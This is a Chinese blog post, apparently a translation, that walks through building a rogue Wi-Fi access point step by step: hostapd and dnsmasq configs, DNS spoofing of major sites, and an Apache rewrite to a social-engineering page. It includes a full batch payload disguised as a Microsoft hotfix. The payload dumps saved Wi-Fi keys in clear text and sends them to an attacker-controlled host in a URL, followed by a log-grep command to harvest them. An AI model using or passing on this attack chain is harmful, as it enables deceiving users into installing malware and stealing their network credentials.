• 无线安全课堂:手把手教会你搭建伪AP接入点


    概述

    *本文假设读者对设置伪AP接入点以及Apache配置有足够了解。

    在本攻击场景中,我们将使用到alfa无线网卡以及用于网络访问的以太网连接(虚拟机环境下,物理机下无需此配置)。你也可以使用虚拟接口执行这种攻击,但一定要确保使用合适的的接口名。

    手把手教会你搭建伪AP接入点

    所用工具

    hostapd(或airbase-ng)dnsmasq(或isc-dhcp-server)Apache2Nano或Vi文本编辑器grep

    为了攻击环境设置更方便快捷,我就直接使用相对趁手的非括号内的工具了,当然你也可以选择对自己方便的工具。

    新手指南 – 设置伪AP接入点

    Hostapd

    可以建立一个开放式(不加密)的,WPA2 personal或WPA2 enterprise的无线网络

    dnsmasq

    轻量级DNS / DHCP服务器,用于解析机器间的dns请求,同时也可以作为DHCP服务器为客户端分配IP地址

    Apache

    虽说其仅仅只是作为一个供客户端访问的Web服务,在攻击中Apache以及Mysql都不是那么重要,然而使用Apache可以让你的Web服务以及伪无线热点更加丰富多彩。尽管根据攻击场景的不同,会有一些其他更先进的技术,但是只要你是想设置一个伪无线热点,那么hostapd以及dnsmasq则是不可或缺的。这里的先进技术则是指的Apache的产品特性以及其灵活性。

    举例:

    比如说你勾引用户连接上你架设的无线热点,单纯的只是想嗅探或者重定向流量,那么你就不需要使用到Apache。如果你需要响应基于用户发起的请求,想通过某些技巧获得更多的敏感信息,这时Apache就得登场了。
    注意:所有命令都以root身份执行,如果你是非root用户(标准用户)记得使用sudo命令

    安装:

    确保安装最新版本的工具:

    apt update
    apt install hostapd dnsmasq apache2
    

    接着创建一个用于保存所有配置文件的目录

    cd ~/Desktop
    mkdir fakeap/
    

    配置hostapd:

    创建一个空白文档用以写入配置文件,打开终端然后创建hostapd配置文件

    nano hostapd.conf
    
    interface=<Your Fake AP interface>
    driver=nl80211
    ssid=<Desired AP Name>
    hw_mode=g
    channel=<Target AP Channel number>
    macaddr_acl=0
    auth_algs=1
    ignore_broadcast_ssid=0
    

    保存并退出文档,每次执行攻击前都进行相应的修改
    Channel选项中,如果数字填写不当很容易出问题

    配置dnsmasq:

    nano dnsmasq.conf
    
    interface=<Fake AP Interface name>         # wlan0 with hostapd, at0 with airbase-ng
    dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
    dhcp-option=3,10.0.0.1
    dhcp-option=6,10.0.0.1
    server=8.8.8.8
    log-queries
    log-dhcp
    listen-address=127.0.0.1
    

    确保在dnsmasq.conf文件中定义接口名没有错

    参数分解:

    dhcp-range=10.0.0.10,10.0.0.250,12h:          客户端IP地址范围从 10.0.0.10 到 10.0.0.250, 网络子网掩码为 255.255.255.0 默认租约时间为 12小时.
    dhcp-option=3,10.0.0.1:                       3 为默认网关代码,随后是IP地址 i.e. 10.0.0.1
    dhcp-option=6,10.0.0.1:                       6 为DNS服务器随后是IP地址
    

    这就是所有需要配置的信息了,简单吗?
    接下来就运行服务,启动我们的伪无线热点吧!

    Step 1:启动伪AP

    首先结束掉可能会影响我们实验的运行进程

    killall network-manager dnsmasq wpa_supplicant dhcpd
    

    使用之前的配置文件启动hostapd
    语法:hostapd /path/to/configuration/file.conf

    cd ~/Desktop/fakeap/
    hostapd hostapd.conf
    

    成功启动hostapd,之后我们需要运行DHCP服务用以给客户端分配IP地址

    Step 2:启动dhcp服务器

    在调试模式下使用配置文件运行dnsmasq
    语法:dnsmasq -C /path/to/configuration/file.conf -d

    dnsmasq - C dnsmasq .conf - d
    

    可选配置:

    你可以为dnsmasq创建一个可选的fakehosts.conf文件,以便将目标网站流量重定向到你所需的IP地址

    vi fakehosts .conf
    
    10.0.0.1    apple.com
    10.0.0.1    google.com
    10.0.0.1    android.clients.google.com
    10.0.0.1    microsoft.com
    10.0.0.1    android.com
    10.0.0.1    apple.com
    10.0.0.1    google.com
    10.0.0.1    android.clients.google.com
    10.0.0.1    microsoft.com
    10.0.0.1    android.com
    

    只需给该文件加上-H参数传递给dnsmasq,之后这些站点的流量将得到控制。如果你只是希望针对某个网站或者特定客户端,可以早-H参数后面加上fakehosts.conf进行dns欺骗

    dnsmasq -C dnsmasq.conf -H fakehosts.conf -d
    

    Step 3:Apache2 webserver配置

    Apache的Rewrite引擎允许我们处理Web请求,利用该技术我们可以玩出很多花样。无论是Android,iOS,Windows还是Mac,都可以通过apache websever定制针对不同类型设备的攻击,甚至可以精确到特定的操作系统版本。
    比如说针对iOS 9.x客户端的攻击向量就与针对iOS 10客户端的攻击向量不同。
    由于Windows机器的广泛使用,这里我们就以Windows机器为目标进行演示。
    打开apache默认配置文件修改rewrite函数,这会将几乎所有URL重定向回我们架设的伪AP记录。
    打开apache的默认配置文件

    nano /etc/apache2/sites-enabled/000-default
    

    在文件</ directory>标签之间的–> add后新开一行将/Fixit目录设置为例外(区分大小写)

    <Directory /var/www/>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride None
    Order allow,deny
    allow from all
    
    --> add    RewriteEngine On
    --> add       RewriteCond  %{REQUEST_URI}  !^/Fixit
    --> add          RewriteRule ^.*$ /Fixit/
    
    </Directory>
    

    利用社会工程学技巧,同时设计网页引诱用户下载并执行payload。你需要将index.html文件放置到/var/www/html/Fixit/

    启用mod_rewrite模块:

    a2enmod rewrite
    

    您必须重新启动apache2才能更新配置

    service apache2 restart
    

    Step 4:DNS欺骗

    运行dnsspoof即可将所有HTTP(非HTTPS)请求重定向到我们的apache服务器,并且用户不会访问到互联网(IP转发为禁用状态)
    如果你攻击接入互联网的域,则该方法没有什么用处。这种情况就使用dnsmasq结合上面介绍的fakehosts.conf文件进行攻击。
    由于我们没有给用户提供互联网访问权限,所以直接运行:

    dnsspoof -i wlan0       #wlan0 is interface hostapd is operating on
    

    Step 5:获取密钥

    运行Apache的access.log,并通过grep转发管道内容
    该正则表达式将解析我们传入的20字符的SSID/name,AP身份验证类型以及8~64字符WLAN密钥

    tail -F /var/log/apache2/access.log | grep -E -o "<name>.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</name>"|"<keyMaterial>..?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</keyMaterial>"|"<authentication>.?.?.?.?.?.?.?.?.?.?.?</authentication>" | uniq
    

    命令分解:

    tail -F <logfile>:    Tail -F参数将读取access.log文件末尾10行内容,等待并显示新增内容.
    
    输出将实时传递给grep
    
    grep:
    
    -E :       用于解析PATTERN这个正则表达式扩展
    -o :       仅打印匹配行中的匹配内容(非空), 输出单独成行
    uniq:      移除重复条目
    

    Step 6:封装

    在/var/www/下建立一个名为Fixit的目录,注意区分大小写

    mkdir /var/www/Fixit
    

    Step 7:秘密武器

    Apache中的index.html下载链接指向我的自定义文件。比如Microsoft-Windows-Hotfix.bat,这个批处理文件并不复杂,已过杀毒软件且不受防火墙影响。只要浏览器能正常工作,那么该文件就能工作

    @echo off
    SET mypath=%~dp0
    netsh wlan export profile > nul
    netsh wlan export profile key=clear > nul
    setlocal enableextensions enabledelayedexpansion
    set /a counter=0
    set filecontent=
    for %%b in (*.xml) do (
    set /a counter=!counter! + 1
    :: echo %%b
    for /f "delims=" %%a in ('type "%mypath%%%b"') do (
    set filecontent=!filecontent!%%a
    )
    )
    echo !filecontent! > %filename%data.txt
    @rem The next line is platform specific. Sometimes in a diff folder
    "c:Program FilesInternet Exploreriexplore.exe" microsoftfix.com/"!filecontent!"
    

    用户一旦执行该恶意Wi-Fi密钥嗅探器,它将提取并解码WLAN配置文件。在用户设备中打开浏览器,然后指向microsoftfix.com(我们搭建的服务器)且URL中包含了之前收获的密钥,内容将存储在我们的apache日志(/var/logs/apache2/access.log)
    我选择使用URL,因为这将数据传输到服务器上最安全的方法。在大多数机器上的防火墙可能阻止FTP传输,但是由用户自主点击下载的文件则不会触发杀毒软件保护。
    你所需要做的便是过滤验证类型以及重要的密钥(Wi-Fi密钥)数据,在步骤5我们就使用tail以及grep命令进行过滤了。

    <name>rootsh3ll</name>
    <authentication>WPA2PSK</authentication>
    <keyMaterial>iamrootsh3ll</keyMaterial>
    

    结语

    本文所述其实只是一个大略,更多的细节以及技巧都在作者自己所著的电子书籍中。
    译者在这里并不推荐各位读者购买:

    其一该书没有中译版本,如果自己就有阅读英文文献的能力,多逛逛相关社区几乎就能了解其中的许多奇淫巧计。
    其二外国的月亮不一定就比国内的更圆,技术没国界这话真的没错,国内玩得有时候比国外大兄弟还要更6些。

  • 相关阅读:
    实体类实现序列化
    异常处理
    Springboot的模块化使用
    Springboot的开始
    RxJava用法
    okhttp的Post方式
    OKhttp使用
    soundPool声音池
    ScheduledExecutor定时器
    timer定时器
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/7283196.html
Copyright © 2020-2023  润新知